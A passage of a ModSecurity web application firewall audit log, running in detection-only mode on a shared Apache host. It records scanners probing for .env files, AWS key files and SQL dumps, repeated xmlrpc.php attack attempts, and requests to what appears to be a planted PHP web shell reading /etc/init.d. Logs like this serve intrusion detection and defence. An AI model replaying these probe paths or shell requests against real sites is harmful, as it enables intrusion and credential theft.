+https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --e6ac4510-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3695 Connection: close Content-Type: text/html; charset=UTF-8 --e6ac4510-E-- --e6ac4510-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/hwclock.sh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8WhC7MaF0j8lD2KTISMQAAAAM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/hwclock.sh"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8WhC7MaF0j8lD2KTISMQAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750013572043156 4937 (- - -) Stopwatch2: 1750013572043156 4937; combined=2736, p1=421, p2=2114, p3=46, p4=41, p5=114, sr=103, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e6ac4510-Z-- --52082d23-A-- [16/Jun/2025:00:23:07.041789 +0530] aE8WkihnDkBlcF0fkxMIfAAAAAQ 185.177.72.210 57848 127.0.0.1 7081 --52082d23-B-- GET /aws/keys.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --52082d23-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5c9b012235573e2a598a1559e3da67bb1750013586; expires=Sun, 15 Jun 2025 19:53:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --52082d23-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/aws/keys.conf"] [unique_id "aE8WkihnDkBlcF0fkxMIfAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013586354625 687296 (- - -) Stopwatch2: 1750013586354625 687296; combined=1986, p1=334, p2=1553, p3=0, p4=0, p5=99, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52082d23-Z-- --7f81110a-A-- [16/Jun/2025:00:23:20.153436 +0530] aE8Wn8eCLQXSV5p8-VEeMAAAAAA 128.199.112.101 42308 127.0.0.1 7081 --7f81110a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7f81110a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7f81110a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Wn8eCLQXSV5p8-VEeMAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013599224294 929199 (- - -) Stopwatch2: 1750013599224294 929199; combined=2234, p1=370, p2=1483, p3=44, p4=63, p5=171, sr=107, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7f81110a-Z-- --c3933306-A-- [16/Jun/2025:00:23:20.943232 +0530] aE8WoKSMmxZaGWa7XLL6UAAAAAY 185.177.72.210 49530 127.0.0.1 7081 --c3933306-B-- GET /uploads/dump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c3933306-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a92cb96082ed2fdfd0a2771390bb5b6c1750013600; expires=Sun, 15 Jun 2025 19:53:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c3933306-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/uploads/dump.sql"] [unique_id "aE8WoKSMmxZaGWa7XLL6UAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013600280009 663302 (- - -) Stopwatch2: 1750013600280009 663302; combined=2049, p1=374, p2=1535, p3=0, p4=0, p5=139, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c3933306-Z-- --b51faf5e-A-- [16/Jun/2025:00:23:24.803011 +0530] aE8WpChnDkBlcF0fkxMIhAAAAAQ 185.177.72.210 49732 127.0.0.1 7081 --b51faf5e-B-- GET /test-network/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b51faf5e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=37803cb09deec17588e611b71bda4d7d1750013604; expires=Sun, 15 Jun 2025 19:53:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b51faf5e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test-network/.env"] [unique_id "aE8WpChnDkBlcF0fkxMIhAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013604084475 718601 (- - -) Stopwatch2: 1750013604084475 718601; combined=1922, p1=411, p2=1417, p3=0, p4=0, p5=93, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b51faf5e-Z-- --2fdff42c-A-- [16/Jun/2025:00:23:38.377206 +0530] aE8WsceCLQXSV5p8-VEeOgAAAAA 185.177.72.210 53286 127.0.0.1 7081 --2fdff42c-B-- GET /:8000/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2fdff42c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c9198ebf9456ce8907bbdf52927dedce1750013618; expires=Sun, 15 Jun 2025 19:53:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2fdff42c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/tmp/.env"] [unique_id "aE8WsceCLQXSV5p8-VEeOgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013617724213 653056 (- - -) Stopwatch2: 1750013617724213 653056; combined=1638, p1=382, p2=1153, p3=0, p4=0, p5=103, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2fdff42c-Z-- --7069e668-A-- [16/Jun/2025:00:23:39.373213 +0530] aE8WsoZ7yzCckh5hXh1VWQAAAAs 185.177.72.210 53352 127.0.0.1 7081 --7069e668-B-- GET /composer.json HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7069e668-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=104646bec2a1a73291f6bf6c728240781750013619; expires=Sun, 15 Jun 2025 19:53:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7069e668-H-- Message: Warning. Matched phrase "/composer.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/composer.json"] [unique_id "aE8WsoZ7yzCckh5hXh1VWQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013618722653 650624 (- - -) Stopwatch2: 1750013618722653 650624; combined=1744, p1=360, p2=1285, p3=0, p4=0, p5=99, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7069e668-Z-- --d1d75950-A-- [16/Jun/2025:00:23:41.426940 +0530] aE8WtC7MaF0j8lD2KTISTwAAAAM 185.177.72.210 35084 127.0.0.1 7081 --d1d75950-B-- GET /htaccess_for_page_not_found_redirects.htaccess HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d1d75950-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a867fcc239d0a01a6de901118b516c321750013621; expires=Sun, 15 Jun 2025 19:53:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d1d75950-H-- Message: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/htaccess_for_page_not_found_redirects.htaccess"] [unique_id "aE8WtC7MaF0j8lD2KTISTwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013620741288 685714 (- - -) Stopwatch2: 1750013620741288 685714; combined=1879, p1=364, p2=1412, p3=0, p4=0, p5=103, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d1d75950-Z-- --f962335d-A-- [16/Jun/2025:00:23:50.792376 +0530] aE8WvqSMmxZaGWa7XLL6ZQAAAAY 185.177.72.210 44614 127.0.0.1 7081 --f962335d-B-- GET /:9000/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f962335d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=af0ed110b1d59d44dd90901633d2c3411750013630; expires=Sun, 15 Jun 2025 19:53:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f962335d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.txt"] [unique_id "aE8WvqSMmxZaGWa7XLL6ZQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013630128998 663462 (- - -) Stopwatch2: 1750013630128998 663462; combined=1681, p1=370, p2=1218, p3=0, p4=0, p5=92, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f962335d-Z-- --af09ab70-A-- [16/Jun/2025:00:23:51.839542 +0530] aE8Wv1eqy5hRjKvJEAyW8QAAAAE 185.177.72.210 44632 127.0.0.1 7081 --af09ab70-B-- GET /:8880/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --af09ab70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=50df4babd19bac53de1cafef099c25e01750013631; expires=Sun, 15 Jun 2025 19:53:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --af09ab70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/stag/.env"] [unique_id "aE8Wv1eqy5hRjKvJEAyW8QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013631125823 713801 (- - -) Stopwatch2: 1750013631125823 713801; combined=1648, p1=367, p2=1164, p3=0, p4=0, p5=116, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --af09ab70-Z-- --65b01871-A-- [16/Jun/2025:00:23:59.886395 +0530] aE8Wxy7MaF0j8lD2KTISXwAAAAM 185.177.72.210 44946 127.0.0.1 7081 --65b01871-B-- GET /localhost.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --65b01871-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=45d0eec024cdbf14b7ac29433d063fae1750013639; expires=Sun, 15 Jun 2025 19:53:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --65b01871-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/localhost.sql"] [unique_id "aE8Wxy7MaF0j8lD2KTISXwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013639151929 734539 (- - -) Stopwatch2: 1750013639151929 734539; combined=156149, p1=386, p2=1443, p3=0, p4=0, p5=77204, sr=117, sw=1, l=0, gc=77115 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --65b01871-Z-- --8c7fbb64-A-- [16/Jun/2025:00:24:10.214462 +0530] aE8W0Veqy5hRjKvJEAyXAQAAAAE 185.177.72.210 58878 127.0.0.1 7081 --8c7fbb64-B-- GET /private/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8c7fbb64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4bd5068f9a374805c1c06eaa0336238a1750013650; expires=Sun, 15 Jun 2025 19:54:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8c7fbb64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.dev"] [unique_id "aE8W0Veqy5hRjKvJEAyXAQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013649451926 762600 (- - -) Stopwatch2: 1750013649451926 762600; combined=2055, p1=513, p2=1435, p3=0, p4=0, p5=107, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8c7fbb64-Z-- --24ef8b29-A-- [16/Jun/2025:00:24:20.834617 +0530] aE8W28eCLQXSV5p8-VEeXAAAAAA 128.199.112.101 58730 127.0.0.1 7081 --24ef8b29-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --24ef8b29-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --24ef8b29-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8W28eCLQXSV5p8-VEeXAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013659871115 963568 (- - -) Stopwatch2: 1750013659871115 963568; combined=2205, p1=367, p2=1489, p3=39, p4=53, p5=159, sr=98, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24ef8b29-Z-- --2601bf46-A-- [16/Jun/2025:00:24:21.761475 +0530] aE8W3Znj7pFxi-BGHz6nqwAAAAI 185.177.72.210 58922 127.0.0.1 7081 --2601bf46-B-- GET /:8080/.env.example HTTP/1.0 